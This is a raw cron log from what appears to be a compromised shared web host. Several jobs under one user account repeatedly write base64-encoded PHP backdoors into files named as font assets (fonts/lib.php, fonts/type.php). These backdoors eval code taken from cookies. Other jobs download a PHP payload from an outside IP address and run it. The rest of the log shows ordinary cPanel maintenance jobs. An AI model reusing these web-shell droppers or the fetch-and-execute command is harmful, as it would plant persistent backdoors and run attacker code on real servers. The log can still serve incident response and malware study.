Sep  4 23:06:01 ip-184-168-122-23 CROND[2377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:06:01 ip-184-168-122-23 CROND[2375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:07:01 ip-184-168-122-23 CROND[2523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:07:01 ip-184-168-122-23 CROND[2525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:07:01 ip-184-168-122-23 CROND[2526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:07:01 ip-184-168-122-23 CROND[2524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:08:01 ip-184-168-122-23 CROND[2603]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:08:01 ip-184-168-122-23 CROND[2605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:08:01 ip-184-168-122-23 CROND[2606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:08:01 ip-184-168-122-23 CROND[2607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:08:01 ip-184-168-122-23 CROND[2609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:09:01 ip-184-168-122-23 CROND[2776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:09:01 ip-184-168-122-23 CROND[2778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:09:01 ip-184-168-122-23 CROND[2777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:09:01 ip-184-168-122-23 CROND[2779]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 23:09:01 ip-184-168-122-23 CROND[2780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:10:01 ip-184-168-122-23 CROND[2871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:10:01 ip-184-168-122-23 CROND[2875]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:10:01 ip-184-168-122-23 CROND[2873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:10:01 ip-184-168-122-23 CROND[2874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:10:01 ip-184-168-122-23 CROND[2876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:10:01 ip-184-168-122-23 CROND[2877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:10:01 ip-184-168-122-23 CROND[2879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:10:01 ip-184-168-122-23 CROND[2880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:11:01 ip-184-168-122-23 CROND[2967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:11:01 ip-184-168-122-23 CROND[2968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:11:01 ip-184-168-122-23 CROND[2970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:11:01 ip-184-168-122-23 CROND[2969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:12:01 ip-184-168-122-23 CROND[3050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:12:01 ip-184-168-122-23 CROND[3054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:12:01 ip-184-168-122-23 CROND[3053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:12:01 ip-184-168-122-23 CROND[3055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:12:01 ip-184-168-122-23 CROND[3052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:13:01 ip-184-168-122-23 CROND[3146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:13:01 ip-184-168-122-23 CROND[3149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:13:01 ip-184-168-122-23 CROND[3148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:13:01 ip-184-168-122-23 CROND[3150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:14:01 ip-184-168-122-23 CROND[3255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:14:01 ip-184-168-122-23 CROND[3258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:14:01 ip-184-168-122-23 CROND[3259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:14:01 ip-184-168-122-23 CROND[3257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:14:01 ip-184-168-122-23 CROND[3256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:15:01 ip-184-168-122-23 CROND[3378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:15:01 ip-184-168-122-23 CROND[3380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:15:01 ip-184-168-122-23 CROND[3379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:15:01 ip-184-168-122-23 CROND[3382]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:15:01 ip-184-168-122-23 CROND[3385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:15:01 ip-184-168-122-23 CROND[3384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:16:01 ip-184-168-122-23 CROND[3501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:16:01 ip-184-168-122-23 CROND[3504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:16:01 ip-184-168-122-23 CROND[3505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:16:01 ip-184-168-122-23 CROND[3503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:16:01 ip-184-168-122-23 CROND[3507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:16:01 ip-184-168-122-23 CROND[3506]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 23:17:02 ip-184-168-122-23 CROND[3608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:17:02 ip-184-168-122-23 CROND[3609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:17:02 ip-184-168-122-23 CROND[3611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:17:02 ip-184-168-122-23 CROND[3610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:18:01 ip-184-168-122-23 CROND[3697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:18:01 ip-184-168-122-23 CROND[3698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:18:01 ip-184-168-122-23 CROND[3699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:18:01 ip-184-168-122-23 CROND[3700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
